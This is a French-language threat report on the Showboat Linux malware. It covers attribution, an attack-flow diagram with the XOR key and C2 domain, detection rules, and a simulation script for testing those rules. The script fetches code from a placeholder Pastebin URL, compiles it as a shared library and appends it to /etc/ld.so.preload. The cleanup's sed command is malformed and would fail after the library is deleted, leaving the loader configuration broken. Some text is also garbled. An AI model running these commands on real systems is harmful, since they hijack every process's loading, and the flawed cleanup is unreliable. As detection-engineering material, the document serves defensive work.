Le Malware Showboat Cible les Entreprises de Télécoms du Moyen-Orient Depuis 2022
Detection stack
- AIDR
- Alert
- ETL
- Query
Résumé
Showboat est un cadre de post-exploitation Linux modulaire construit pour les environnements AMD x86-64. Actif depuis mi-2022, il est conçu pour maintenir un accès discret et à long terme à l’intérieur de réseaux compromis. Le malware utilise des méthodes d’évasion avancées, y compris le chiffrement XOR et l’exploitation du lien dynamique pour dissimuler les processus malveillants.
Enquête
L’enquête a retracé l’infrastructure de commandement et de contrôle jusqu’à Chengdu, en Chine, ce qui, associé aux tactiques, techniques et procédures observées, suggère des liens avec des acteurs de menace alignés sur la RPC. L’analyse technique a montré que le malware se base sur une clé XOR codée en dur pour décrypter sa configuration et utilise ld.so.preload pour atteindre la furtivité sur les systèmes infectés.
Atténuation
Les défenseurs doivent surveiller les changements non autorisés de /etc/ld.so.preload et l’utilisation suspecte du gcc compilateur sur les hôtes Linux en production. Il est également recommandé de déployer une surveillance réseau capable d’identifier les comportements de balise, même lorsque le timing est aléatoire, et d’utiliser la surveillance de l’intégrité pour les bibliothèques système critiques.
Réponse
Si une activité de Showboat est détectée, isolez les systèmes Linux affectés du réseau immédiatement pour stopper le trafic de commandement et de contrôle supplémentaire. Effectuez une analyse forensique de la mémoire pour identifier les objets partagés injectés et effectuez un audit complet des paramètres système et des tâches planifiées pour confirmer que tous les mécanismes de persistance ont été supprimés.
graph TB %% Définition des classes classDef action fill:#99ccff classDef builtin fill:#cccccc classDef malware_entity fill:#ff9999 classDef network fill:#99ff99 %% Définition des nœuds %% Étape 1 : Configuration initiale action_decryption[« <b>Action</b> – <b>T1027 : Fichiers ou informations obfusqués</b><br/>Récupère la configuration chiffrée via XOR<br/>en utilisant la clé intégrée : look me, AV!<br/>Cible : telecom.webredirect[.]org »] class action_decryption action %% Étape 2 : C2 et exfiltration malware_showboat[« <b>Malware</b> – <b>Showboat</b><br/>Agent du cycle de vie post-compromission »] class malware_showboat malware_entity action_beaconing[« <b>Action</b> – <b>T1071 : Protocole de couche application</b><br/>Établit le C2 via des balises de communication périodiques<br/>Utilise des intervalles d’attente aléatoires pour éviter la détection »] class action_beaconing action action_exfiltration[« <b>Action</b> – <b>T1029 : Transfert planifié</b><br/>Regroupe les informations de l’hôte et les captures d’écran en JSON<br/>Chiffre et encode les données en Base64<br/>Utilise la stéganographie dans les champs PNG pour l’évasion »] class action_exfiltration action %% Étape 3 : Dissimulation et persistance action_fetch_source[« <b>Action</b> – <b>T1105 : Transfert d’outils entrant</b><br/>Récupère le fichier source C ukpkmkk.c<br/>Source : URL Pastebin »] class action_fetch_source action action_compile[« <b>Action</b> – <b>T1059 : Interpréteur de commandes et de scripts</b><br/>Compile ukpkmkk.c localement sur la machine victime<br/>Génère une bibliothèque partagée malveillante »] class action_compile action action_hijack[« <b>Action</b> – <b>T1574.006 : Détournement du flux d’exécution : Détournement du chargeur dynamique</b><br/>Utilise le mécanisme ld.so.preload<br/>Injecte /tmp/ukpkmkk.so dans les processus »] class action_hijack action action_stealth[« <b>Action</b> – <b>T1564 : Dissimulation d’artefacts</b><br/>Intercepte des appels système comme readdir()<br/>Masque les processus de ps et top à l’aide d’une liste de filtrage »] class action_stealth action %% Connexions malware_showboat –>|exécute| action_decryption action_decryption –>|établit| action_beaconing action_beaconing –>|exfiltre_des_données| action_exfiltration action_exfiltration –>|déclenche_commande_de_dissimulation| action_fetch_source action_fetch_source –>|mène_à| action_compile action_compile –>|produit_une_bibliothèque| action_hijack action_hijack –>|atteint| action_stealth %% Flux final action_stealth -.->|maintient| malware_showboat
Flux d’attaque
Détections
Tentative de communication suspecte avec le domaine Pastebin (via proxy)
Voir
Téléversement / Téléchargement de fichiers à distance via les outils standard (via cmdline)
Voir
Détection d’activité de balise de malware Showboat [Création de processus Linux]
Voir
Détecter l’activité du malware Showboat – Modification de ld.so.preload et récupération de fichiers source [Création de processus Linux]
Voir
Exécution de la simulation
Prérequis : Le contrôle préalable de la télémétrie et de la base doit être réussi.
Raisonnement : Cette section détaille l’exécution précise de la technique de l’adversaire (TTP) conçue pour déclencher la règle de détection. Les commandes et le récit DOIVENT refléter directement les TTP identifiés et viser à générer la télémétrie exacte attendue par la logique de détection. Des exemples abstraits ou non pertinents conduiront à un mauvais diagnostic.
-
Narrative & Commandes de l’attaque : L’attaquant vise à établir une interception persistante des appels système. Ils commencent par télécharger un fichier source C malveillant depuis une URL brute de Pastebin en utilisant
curl. Une fois téléchargé, ils l’utilisentgccavec les-sharedand-fPICindicateurs pour compiler la source en un fichier objet partagé nommémalicious.so. Enfin, ils tentent d’atteindre la persistance en ajoutant le chemin de cette bibliothèque à/etc/ld.so.preload. Cette séquence est conçue pour injecter la bibliothèque malveillante dans chaque processus du système. -
Script de test de régression :
#!/bin/bash # Simulation des TTPs du malware Showboat # 1. Simuler la récupération de la source C depuis Pastebin # Remarque : Utilisation d'un vrai lien brut pastebin (simulé pour la logique) ou simulation de la chaîne echo "Création de la simulation de téléchargement fictif de pastebin..." echo 'void __attribute__((constructor)) init() {}' > fake_malware.c # Cette commande déclenche la partie 'selection_fetch' de la règle curl -s https://pastebin.com/raw/example_id -o fake_malware.c # 2. Simuler la compilation d'un objet partagé # Cette commande déclenche la partie 'selection_compile' de la règle # (selection_fetch ET selection_compile) gcc -shared -fPIC -o /tmp/malicious.so fake_malware.c # 3. Simuler la modification de ld.so.preload # Cette commande déclenche la partie 'selection_preload' de la règle echo "/tmp/malicious.so" | sudo tee -a /etc/ld.so.preload echo "Simulation complète. Vérifiez les alertes SIEM." -
Commandes de nettoyage :
#!/bin/bash # Nettoyage des artefacts de simulation # Supprimer la bibliothèque et la source malveillantes sudo rm -f /tmp/malicious.so rm -f fake_malware.c # Supprimer l'entrée de ld.so.preload (Nécessite de la prudence) # Cette commande sed supprime la ligne contenant /tmp/malicious.so sudo sed -i '//tmp/malicious.so/d' /etc/ld.so.preload echo "Nettoyage terminé."